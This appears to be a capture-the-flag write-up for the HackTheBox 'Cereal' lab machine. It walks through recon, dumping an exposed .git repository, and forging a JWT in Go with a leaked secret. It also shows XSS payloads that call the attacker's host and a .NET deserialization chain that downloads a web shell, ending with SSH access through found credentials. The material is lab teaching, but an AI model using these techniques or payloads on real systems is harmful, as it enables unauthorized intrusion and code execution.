Cereal is a hard difficulty Windows machine that features a misconfigured web server, which exposes source code of the currently hosted web application. Initial source code analysis revealed a deleted JWT secret that could be used to forge a JWT token and bypass the application’s login page. Another code analysis finds the web is vulnerable to a deserialization attack. There is also an XSS vulnerability in one of the packages used by the application. Chaining these vulnerabilities results in a shell access to the system.
Skills Learned
- Code review
- JWT authentication bypass
- XSS exploitation
- .NET deserialization
- Exploit chain
Tools
- Kali Linux 2019.4 (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
Reconnaissance
Nmap
All TCP ports scan with nmap
discovers three open ports: SSH on port 22, HTTP on port 80, and HTTP on port 443.
→ root@kali «cereal» «10.10.14.3»
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport-cereal 10.10.10.217
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-04 23:45 EDT
...<SNIP>...
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 127
80/tcp open http syn-ack ttl 127
443/tcp open https syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 118.08 seconds
I’ll run another scan with nmap
’s default scripts.
→ root@kali «cereal» «10.10.14.3»
$ nmap -p 22,80,443 -sC -sV -oA nmap/10-tcp-allport-script 10.10.10.217
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-04 23:51 EDT
...<SNIP>...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
| 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://cereal.htb/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after: 2040-11-11T20:07:19
|_ssl-date: 2021-06-05T03:51:48+00:00; +5s from scanner time.
| tls-alpn:
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 4s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.34 seconds
This time nmap
found two hostnames from the SSL certificate: cereal.htb
and source.cereal.htb
.
I’ll add those hostnames to my /etc/hosts
:
→ root@kali «cereal» «10.10.14.3»
$ echo '10.10.10.217 cereal.htb source.cereal.htb' >> /etc/hosts
Enumeration
TCP 80
It redirects to the HTTPS.
TCP 443 - cereal.htb
Following the redirection ends up at a login form. I tried a few common credentials, but they didn’t work here.
Inspecting the source reveals that this site is a react based application.
If I track down the authentication process, this site store the authentication data in browser’s local storage with a key name of currentUser
, but l’ll leave it for now.
I also did a gobuster scan, but didn’t find anything useful.
TCP 443 - source.cereal.htb
Visiting source.cereal.htb
shows a server error message of an ASP.net application:
Nothing I can do with this page, but I’ll take note on the leaked file path:
C:\inetpub\source\default.aspx
Gobuster
gobuster
scan discovers a git repository, and there is also an upload directory.
→ root@kali «cereal» «10.10.14.3»
$ gobuster dir -u https://source.cereal.htb -k -w /opt/SecLists/Discovery/Web-Content/common.txt -x aspx,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://source.cereal.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: aspx,txt
[+] Timeout: 10s
===============================================================
2021/06/05 00:52:32 Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD (Status: 200) [Size: 23]
/Default.aspx (Status: 500) [Size: 10090]
/aspnet_client (Status: 301) [Size: 163] [--> https://source.cereal.htb/aspnet_client/]
/default.aspx (Status: 500) [Size: 9727]
/uploads (Status: 301) [Size: 157] [--> https://source.cereal.htb/uploads/]
===============================================================
2021/06/05 00:54:41 Finished
===============================================================
Access to the .git
and the uploads
directory are forbidden.
→ root@kali «cereal» «10.10.14.3»
$ curl -I -k http://source.cereal.htb/.git/ && curl -I -k http://source.cereal.htb/uploads/
HTTP/1.1 403 Forbidden
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/10.0
X-Powered-By: Sugar
Date: Sat, 05 Jun 2021 05:01:25 GMT
HTTP/1.1 403 Forbidden
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/10.0
X-Powered-By: Sugar
Date: Sat, 05 Jun 2021 05:08:16 GMT
But requesting files under .git
directory are allowed.
→ root@kali «cereal» «10.10.14.3»
$ curl -I -k http://source.cereal.htb/.git/HEAD
HTTP/1.1 200 OK
Content-Length: 23
Content-Type: text/plain
Last-Modified: Wed, 11 Nov 2020 20:09:34 GMT
Accept-Ranges: bytes
ETag: "adc1d19266b8d61:0"
Server: Microsoft-IIS/10.0
X-Powered-By: Sugar
Date: Sat, 05 Jun 2021 05:01:29 GMT
→ root@kali «cereal» «10.10.14.3»
$ curl -s -k http://source.cereal.htb/.git/HEAD
ref: refs/heads/master
I’ll note the uploads
directory.
Git
Dumping .git directory
With git-dumper, I could get all the files in that .git
directory.
→ root@kali «cereal» «10.10.14.3»
$ mkdir loot/source-cereal-git && ./git-dumper.py https://source.cereal.htb/.git loot/source-cereal-git
[-] Testing https://source.cereal.htb/.git/HEAD [200]
[-] Testing https://source.cereal.htb/.git/ [403]
[-] Fetching common files
[-] Fetching https://source.cereal.htb/.gitignore [404]
[-] Fetching https://source.cereal.htb/.git/hooks/applypatch-msg.sample [404]
[-] Fetching https://source.cereal.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching https://source.cereal.htb/.git/description [200]
...<SNIP>...
[-] Finding refs/
[-] Fetching https://source.cereal.htb/.git/ORIG_HEAD [404]
[-] Fetching https://source.cereal.htb/.git/config [200]
[-] Fetching https://source.cereal.htb/.git/FETCH_HEAD [404]
[-] Fetching https://source.cereal.htb/.git/HEAD [200]
...<SNIP>...
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching https://source.cereal.htb/.git/objects/8f/2a1a88f15b9109e1f63e4e4551727bfb38eee5 [200]
...<SNIP>...
[-] Running git checkout .
Git History
I could see the history of this repository by issuing git log
.
Aside from the author’s names, one commit with the message “Security fixes” caught my attention.
I immediately run git diff 8f2a 7bd9
to compare the first commit with the security fixes and that reveals a deleted JWT secret.
It looks like the security fixes include prevention against deserialization attacks which I’ll note that as well as the secret:
- JWT secret:
secretlhfIH&FY*#oysuflkhskjfhefesf
Source Code Analysis #1
I pointed my sh*tty explanation or at least how I understand it with
// <==
or# <==
in the code snippet. Please, don’t bully me for this.
App Overview
The app consist of ASP.NET (back-end) and React (front-end).
→ root@kali «source-cereal-git» «10.10.14.3» git:(master)
$ tree -L 1 --dirsfirst
.
├── ClientApp
├── Controllers
├── Migrations
├── Models
├── Pages
├── Properties
├── Services
├── ApplicationOptions.cs
├── appsettings.Development.json
├── appsettings.json
├── CerealContext.cs
├── Cereal.csproj
├── DownloadHelper.cs
├── ExtensionMethods.cs
├── IPAddressHandler.cs
├── IPRequirement.cs
├── Program.cs
└── Startup.cs
The source code of previously seen React app at cereal.htb
is on the ClientApp folder.
Here is the overview of app execution flow:
Program.cs
|
v
Startup.cs -> Loads appsettings.json
|
v
React client
Looking into the appsettings.js
, I could obtain the following information:
- There is IP whitelist
- There are two rules that looks like limiting requests and it’ll reset after certain period. One of them is limiting a post request to an endpoint called
/requests
.
{
...<SNIP>...
"AllowedHosts": "*",
"ApplicationOptions": {
"Whitelist": [ "127.0.0.1", "::1" ]
},
"IpRateLimiting": {
"EnableEndpointRateLimiting": true,
"StackBlockedRequests": false,
"RealIpHeader": "X-Real-IP",
"ClientIdHeader": "X-ClientId",
"HttpStatusCode": 429,
"IpWhitelist": [ "127.0.0.1", "::1" ],
"EndpointWhitelist": [],
"ClientWhitelist": [],
"GeneralRules": [
{
"Endpoint": "post:/requests",
"Period": "5m",
"Limit": 2
},
{
"Endpoint": "*",
"Period": "5m",
"Limit": 150
}
]
}
}
Authentication Vulnerability
Looking into the Startup.cs
file, I could see there is a potential authentication bypass. On the following code snippet, the application clearly doesn’t validate the issuer and the audience of a JWT token, and this can raise a security issue.
...<SNIP>...
var key = Encoding.ASCII.GetBytes("*");
services.AddAuthentication(x =>
{
x.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
x.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;
})
.AddJwtBearer(x =>
{
x.RequireHttpsMetadata = false;
x.SaveToken = true;
x.TokenValidationParameters = new TokenValidationParameters
{
ValidateIssuerSigningKey = true,
IssuerSigningKey = new SymmetricSecurityKey(key),
ValidateIssuer = false, // <== No validation
ValidateAudience = false // <== No validation
};
});
...<SNIP>...
The JWT token itself is forged at Services/UserService.cs
:
public User Authenticate(string username, string password)
{
using (var db = new CerealContext())
{
var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();
// return null if user not found
if (user == null)
return null;
// authentication successful so generate jwt token
var tokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes("*");
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[]
{
new Claim(ClaimTypes.Name, user.UserId.ToString())
}),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
};
var token = tokenHandler.CreateToken(tokenDescriptor);
user.Token = tokenHandler.WriteToken(token);
return user.WithoutPassword();
}
When the user attempts to authenticate, the code snippet above checks to see if the user’s credentials match those in the database. If the credentials match, the app will generate a JWT token for that user.
The user model is defined in here Models/User.cs
. From here, I can assume each JWT token contains at least a user’s ID, expiration time (7 days), username, and token.
...<SNIP>...
public class User
{
[Key]
public int UserId { get; set; }
[Required]
public string Username { get; set; }
[Required]
public string Password { get; set; }
public string Token { get; set; }
}
...<SNIP>...
Interestingly, in ClientApp/src/LoginPage/LoginPage.jsx
, the authentication process doesn’t look like it needs server/back-end validation, because it checks the browser’s local storage first.
It’ll ask the server if we press the login button (POST request).
...<SNIP>...
import { authenticationService } from '../_services'; // <==
class LoginPage extends React.Component {
constructor(props) {
super(props);
// redirect to home if already logged in
if (authenticationService.currentUserValue) { // <==
this.props.history.push('/');
}
}
render() {
return (
<div>
<h2>Login</h2>
...<SNIP>...
I could track the authenticationService.currentUserValue
and it is defined in ClientApp/src/_services/authentication.service.jsx
const currentUserSubject = new BehaviorSubject(JSON.parse(localStorage.getItem('currentUser'))); // <==
export const authenticationService = {
login,
logout,
currentUser: currentUserSubject.asObservable(),// <==
get currentUserValue () { return currentUserSubject.value } // <==
};
Authentication Bypass
I could summarize the previous code analysis to these points:
- As long as the browser’s local storage contains a key of
currentUser
which has JWT token in its value, the client app will logs the user in. - No other validation in JWT token except the user’s ID and expires date. (based on
Services/UserService.cs
) - Based on
Models/User.cs
,Services/UserService.cs
, andClientApp/src/_services/auth-header.js
, the form ofcurrentUser
is something like this:"currentUser" : "{ "userId": "0", "username": "name", "token": "JWT token"}"
.
And here are the tactics to bypass the login page:
- Since there is no validation on the issuer, and I have the JWT secret key, I could forge my own JWT.
- I’ll put the forged JWT token to browser’s local storage of
cereal.htb
with the key name ofcurrentUser
. - Simply refresh the page afterwards and see if it logs me in.
Forge JWT
To forge our own JWT, you could try jwtool, but I tried to forge my own JWT using Golang. Here is the code:
package main
import (
"encoding/json"
"fmt"
"time"
"github.com/dgrijalva/jwt-go"
)
type UserService interface {
CreateToken(userID string) string
}
type jwtService struct {
secretKey string
}
func (s *jwtService) CreateToken() string {
claims := jwt.StandardClaims{
ExpiresAt: time.Now().AddDate(0, 0, 7).UTC().Unix(),
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
t, err := token.SignedString([]byte(s.secretKey))
if err != nil {
panic(err)
}
return t
}
type User struct {
UserId string `json:"userId,omitempty"`
Username string `json:"username,omitempty"`
Token string `json:"token,omitempty"`
}
func main() {
jwt := &jwtService{}
jwt.secretKey = "secretlhfIH&FY*#oysuflkhskjfhefesf"
cu := User{
UserId: "1",
Username: "iamf",
Token: jwt.CreateToken(),
}
currentUser, _ := json.Marshal(cu)
fmt.Printf("%s", currentUser)
}
It produces the following output.
→ root@kali «cereal» «10.10.14.3»
$ go run main.go
{"userId":"1","username":"iamf","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MjM4MTgwMzh9.XAcgRqhpgyJARsBMEWg1UOlUeRnQU4bvbk1SpAv3vDM"}
Login
At https://cereal.htb
, I’ll create a new local storage with a key name of currentUser
and I’ll put the previous output as the key’s value. When I refresh the site, it logs me in.
Input testing
When I submitted a URL which points to my attacking machine, I received a GET request coming from the Title field.
Here how the request and the response looklike.
Source Code Analysis #2
I decided to mix it with images hehe.
Deserialization Vulnerability
Looking into the request controller, Controllers/RequestsController.cs
, it turns out that each Cereal Request (POST) sent is saved in database without validation.
Actually, there is a client-side validation, but it could easily be bypassed with Burp repeater. For example, I could send a cereal request in different structure:
The cereal database’s name can be found inside CerealContext.cs
.
Looking back into the request controller, there is a comment inside the Get
function that points out about deserialization (previously seen upon comparing the commit logs):
...<SNIP>...
[Authorize(Policy = "RestrictIP")]
[HttpGet("{id}")]
public IActionResult Get(int id)
{
using (var db = new CerealContext())
{
string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
// Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
{
return BadRequest(new { message = "The cereal police have been dispatched." });
}
var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return Ok(cereal.ToString());
}
}
The Get
function can only be accessed if the request IP is in the whitelist (defined in appsettings.json
) and it takes one parameter called id
(GET /requests/{id}
).
[Authorize(Policy = "RestrictIP")]
[HttpGet("{id}")]
This line blocks the gadget classes used for .NET deserialization attack.
if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
But, there is a class called DownloadHelper
that has a function which can be used to send a download request:
...<SNIP>...
public class DownloadHelper
{
private String _URL;
private String _FilePath;
public String URL
...<SNIP>...
private void Download()
{
using (WebClient wc = new WebClient())
{
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
{
wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
}
}
}
I could use DownloadHelper
class to download a web shell hosted on my machine by sending a serialized form of this class via the Cereal Request.
The problem here I couldn’t make a GET request to requests/{id}
because there is an IP restriction policy.
XSS Vulnerability
When tracking down where the previous GET request came from, I found out that each Cereal Request sent lands on the admin page (AdminPage.jsx
).
And one of the app library used in the admin page called react-marked-down
has an XSS vulnerability.
...<SNIP>...
<Accordion.Toggle as={Button} variant="link" eventKey={this.props.request.requestId} name="expand" id={this.props.request.requestId}>
{requestData && requestData.title && typeof requestData.title == 'string' &&
<MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} /> // <==
...<SNIP>...
I could confirm the vulnerability with the following payload:
[XSS](javascript: document.write`<img src='http://10.10.14.3/iamf'/>`)
With a few experiments, URL encoding seems to work as well
[XSS](javascript: document.write%28%22<img src='http://10.10.14.3/iamf'>%22%29)
Foothold
Shell as Sonny
Web Shell Upload via XSS and Deserialization
Putting it all together:
- There is an uploads directory at
https://source.cereal.htb/uploads/
. - The gadget classes for deserialization attack are filtered, but there is one class called
DownloadHelper
that can be accessed and it has a download function. - There is a SSRF (not sure yet) in the Title section, which can be used along with the XSS vulnerability to bypass the IP restriction.
The tactics:
- Serialized
DownloadHelper
class which contains a web shell URL that points to the attacking machine, and send it via the Cereal Request, note the ID. - Use XSS which bypasses the IP restriction, to make a GET request to
cereal.htb/request/{the ID}
to trigger the deserialization, - Confirms the web shell at
https://cereal.source.htb/uploads/shell-name.aspx
I’ve made a script to chain these vulnerabilities (XSS, SSRF, and Deserialization). The results is as follow:
That’s on different IP because I decided to ran the exploit again to make sure it’s still work XD
I can access my web shell on http://source.cereal.htb/uploads/iamf.aspx
.
SSH - sonny
A quick check on the web directory, I find the cereal.db
at c:\inetpub\cereal\db\cereal.db
and it contains a string that looks like a set of credentials.
I tried it on SSH (sonny:mutual.madden.manner38974
) and it worked.
→ root@kali «exploits» «10.10.14.2»
$ ssh sonny@cereal.htb
sonny@cereal.htb's password:
Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved.
sonny@CEREAL C:\Users\sonny>dir desktop\
Volume in drive C has no label.
Volume Serial Number is C4EF-2153
Directory of C:\Users\sonny\desktop
11/16/2020 05:19 AM <DIR> .
11/16/2020 05:19 AM <DIR> ..
06/07/2021 09:59 PM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 7,621,619,712 bytes free